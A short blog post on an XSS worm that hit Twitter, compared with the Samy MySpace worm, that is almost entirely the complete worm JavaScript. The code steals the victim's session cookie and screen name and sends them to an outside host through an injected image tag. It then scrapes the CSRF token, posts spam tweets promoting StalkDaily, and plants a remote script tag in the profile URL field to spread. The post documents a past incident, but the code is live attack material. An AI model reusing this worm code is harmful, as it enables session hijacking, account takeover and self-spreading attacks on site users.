Twitter Worm

As I've already mentioned on the GNUCITIZEN blog, Twitter has been hit by the same worm twice. The worm is similar in nature to the infamous Samy XSS Worm which hit MySpace in 2005 but a lot less severe. This is yet another example that XSS worms could and will be used as a propagation mechanism for more sever types of malware.

For those who are curious, here is a the complete worm code:

function XHConn()
{
  var xmlhttp, bComplete = false;
  try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }
  catch (e) { try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }
  catch (e) { try { xmlhttp = new XMLHttpRequest(); }
  catch (e) { xmlhttp = false; }}}
  if (!xmlhttp) return null;
  this.connect = function(sURL, sMethod, sVars, fnDone)
  {
    if (!xmlhttp) return false;
    bComplete = false;
    sMethod = sMethod.toUpperCase();
    try {
      if (sMethod == "GET")
      {
        xmlhttp.open(sMethod, sURL+"?"+sVars, true);
        sVars = "";
      }
      else
      {
        xmlhttp.open(sMethod, sURL, true);
        xmlhttp.setRequestHeader("Method", "POST "+sURL+" HTTP/1.1");
        xmlhttp.setRequestHeader("Content-Type",
          "application/x-www-form-urlencoded");
      }
      xmlhttp.onreadystatechange = function(){
        if (xmlhttp.readyState == 4 && !bComplete)
        {
          bComplete = true;
          fnDone(xmlhttp);
        }};
      xmlhttp.send(sVars);
    }
    catch(z) { return false; }
    return true;
  };
  return this;
}
 
function urlencode( str ) {
    var histogram = {}, tmp_arr = [];
    var ret = str.toString();
    
    var replacer = function(search, replace, str) {
        var tmp_arr = [];
        tmp_arr = str.split(search);
        return tmp_arr.join(replace);
    };
    
    histogram["'"] = '%27';
    histogram['('] = '%28';
    histogram[')'] = '%29';
    histogram['*'] = '%2A';
    histogram['~'] = '%7E';
    histogram['!'] = '%21';
    histogram['%20'] = '+';
    
    ret = encodeURIComponent(ret);
    
    for (search in histogram) {
        replace = histogram[search];
        ret = replacer(search, replace, ret)
    }
 
    return ret.replace(/(\%([a-z0-9]{2}))/g, function(full, m1, m2) {
        return "%"+m2.toUpperCase();
    });
    
    return ret;
}
 
var content = document.documentElement.innerHTML;
userreg = new RegExp(/<meta content="(.*)" name="session-user-screen_name"/g);
var username = userreg.exec(content);
username = username[1];
 
var cookie;
cookie = urlencode(document.cookie);
document.write("<img src='http://mikeyylolz.uuuq.com/x.php?c=" + cookie + "&username=" + username + "'>");
document.write("<img src='http://stalkdaily.com/log.gif'>");
 
function wait()
{
  var content = document.documentElement.innerHTML;
 
  authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
  var authtoken = authreg.exec(content);
  authtoken = authtoken[1];
  //alert(authtoken);
  
  var randomUpdate=new Array();
  randomUpdate[0]="Dude, www.StalkDaily.com is awesome. What's the fuss?";
  randomUpdate[1]="Join www.StalkDaily.com everyone!";
  randomUpdate[2]="Woooo, www.StalkDaily.com :)";
  randomUpdate[3]="Virus!? What? www.StalkDaily.com is legit!";
  randomUpdate[4]="Wow...www.StalkDaily.com";
  randomUpdate[5]="@twitter www.StalkDaily.com";
  
  var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
  
  updateEncode = urlencode(genRand);
  
  var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a ');
  
  var ajaxConn = new XHConn();
  ajaxConn.connect("/status/update", "POST", "authenticity_token="+authtoken+"&status="+updateEncode+"&tab=home&update=update");
  var ajaxConn1 = new XHConn();
  ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update");
}
setTimeout("wait()",3250);